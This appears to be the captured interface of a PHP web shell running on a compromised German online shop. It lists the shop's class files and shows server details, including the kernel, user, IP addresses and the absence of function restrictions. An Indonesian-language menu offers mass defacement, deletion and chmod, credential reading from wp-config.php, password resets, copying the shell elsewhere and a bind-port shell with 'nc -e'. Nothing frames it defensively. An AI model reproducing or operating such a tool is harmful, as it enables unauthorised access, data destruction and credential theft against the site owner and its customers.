GMGPrintElements.php 2013-11-12 21:0315.79 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintFileManager.php 2013-11-12 21:026.06 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderElements.php 2013-11-12 21:037.46 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderManager.php 2013-11-12 21:036.27 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderSurfaces.php 2013-11-12 21:036.41 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintOrderSurfacesManager.php 2013-11-12 21:034.86 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintProductManager.php 2013-11-12 21:024.55 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintSurfaces.php 2013-11-12 21:039.99 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintSurfacesGroupsManager.php 2013-11-12 21:031.96 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintSurfacesManager.php 2013-11-12 21:039.62 KB 76129f60960:kunden-xw-x-----
edt
GMGPrintWishlistManager.php 2013-11-12 21:0314.81 KB 76129f60960:kunden-xw-x-----
edt
GMJSON.php 2013-11-12 21:032.44 KB 76129f60960:kunden-xw-x-----
edt
GMJanolaw.php 2013-11-12 21:033.76 KB 76129f60960:kunden-xw-x-----
edt
GMLangFileMaster.php 2013-11-12 21:03965 B 76129f60960:kunden-xw-x-----
edt
GMLightboxControl.php 2013-11-12 21:03691 B 76129f60960:kunden-xw-x-----
edt
GMLogoManager.php 2013-11-12 21:036.78 KB 76129f60960:kunden-xw-x-----
edt
GMMeta.php 2013-11-12 21:028.29 KB 76129f60960:kunden-xw-x-----
edt
GMProduct.php 2013-11-12 21:032.37 KB 76129f60960:kunden-xw-x-----
edt
GMSEOBoost.php 2013-11-12 21:0325.63 KB 76129f60960:kunden-xw-x-----
edt
GMSitemap.php 2013-11-12 21:035.32 KB 76129f60960:kunden-xw-x-----
edt
GMStatusbar.php 2013-11-12 21:022.46 KB 76129f60960:kunden-xw-x-----
edt
GMTSWidget.php 2013-11-12 21:034.93 KB 76129f60960:kunden-xw-x-----
edt
GMTabTokenizer.php 2013-11-12 21:032.81 KB 76129f60960:kunden-xw-x-----
edt
GMTracker.php 2013-11-12 21:033.49 KB 76129f60960:kunden-xw-x-----
edt
JSON.php 2013-11-12 21:0339.98 KB 76129f60960:kunden-xw-x-----
edt
application_top.php 2013-11-12 21:0334.02 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/gm/classes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK